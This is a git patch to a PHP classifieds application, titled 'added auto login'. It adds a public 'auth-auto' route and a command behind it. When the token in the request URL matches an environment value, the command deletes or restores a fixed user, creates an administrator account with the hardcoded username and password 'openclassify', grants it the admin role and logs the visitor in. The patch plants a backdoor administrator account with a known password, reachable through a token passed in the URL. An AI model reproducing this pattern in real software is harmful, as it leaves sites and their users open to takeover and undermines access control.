From 1a2d74ea38c46ffb9c2cabca2149dde2e040d50d Mon Sep 17 00:00:00 2001 From: vedatakd Date: Thu, 1 Apr 2021 16:35:46 +0300 Subject: [PATCH] added auto login --- .../profile-module/src/Command/AuthAuto.php | 45 +++++++++++++++++++ .../src/Http/Controller/UserAuthenticator.php | 12 +++++ .../src/ProfileModuleServiceProvider.php | 1 + 3 files changed, 58 insertions(+) create mode 100644 addons/default/visiosoft/profile-module/src/Command/AuthAuto.php diff --git a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php new file mode 100644 index 000000000..1d5e2f0af --- /dev/null +++ b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php @@ -0,0 +1,45 @@ +token = $token; + } + + public function handle(UserRepositoryInterface $users, RoleRepositoryInterface $roles, UserActivator $activator) + { + if ($this->token && env('AUTO_TOKEN') && $this->token === env('AUTO_TOKEN')) { + if (!$user = $users->getModel()->withTrashed()->where('email', 'info@openclassify.com')->first()) { + $admin = $roles->findBySlug('admin'); + + $users->unguard(); + $users->newQuery()->where('email', "info@openclassify.com")->forceDelete(); + $user = $users->create( + [ + 'first_name' => 'Dev', + 'last_name' => 'Openclassify', + 'display_name' => 'openclassify', + 'email' => "info@openclassify.com", + 'username' => "openclassify", + 'password' => "openclassify", + ] + ); + + $user->roles()->sync([$admin->getId()]); + + $activator->force($user); + } elseif ($user->deleted_at) { + $user->update(['deleted_at' => null]); + } + Auth::login($user); + } + } +} diff --git a/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php b/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php index 0557a7fb4..631eac058 100644 --- a/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php +++ b/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php @@ -6,6 +6,7 @@ use Anomaly\UsersModule\User\Authenticator\Contract\AuthenticatorExtensionInterf use Anomaly\UsersModule\User\Contract\UserInterface; use Anomaly\UsersModule\User\Contract\UserRepositoryInterface; use Anomaly\UsersModule\User\Event\UserWasLoggedIn; +use Illuminate\Foundation\Bus\DispatchesJobs; use Visiosoft\AdvsModule\Adv\AdvModel; use Illuminate\Contracts\Auth\Guard; use Illuminate\Contracts\Container\Container; @@ -13,10 +14,13 @@ use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Redirect; +use Visiosoft\ProfileModule\Command\AuthAuto; use Visiosoft\ProfileModule\Profile\ProfileRepository; class UserAuthenticator { + use DispatchesJobs; + protected $guard; protected $events; protected $container; @@ -124,4 +128,12 @@ class UserAuthenticator return response()->json(['userExists' => false]); } } + + public function authAuto() + { + if (\request()->has(['token'])) { + $this->dispatch(new AuthAuto(\request('token'))); + } + return \redirect('/'); + } } diff --git a/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php b/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php index e55506cea..ea0367054 100644 --- a/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php +++ b/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php @@ -79,6 +79,7 @@ class ProfileModuleServiceProvider extends AddonServiceProvider // UserAuthenticator 'login-in' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@attempt', 'ajax/phone-validation' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@phoneValidation', + 'auth-auto' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@authAuto', // RegisterController 'register' => [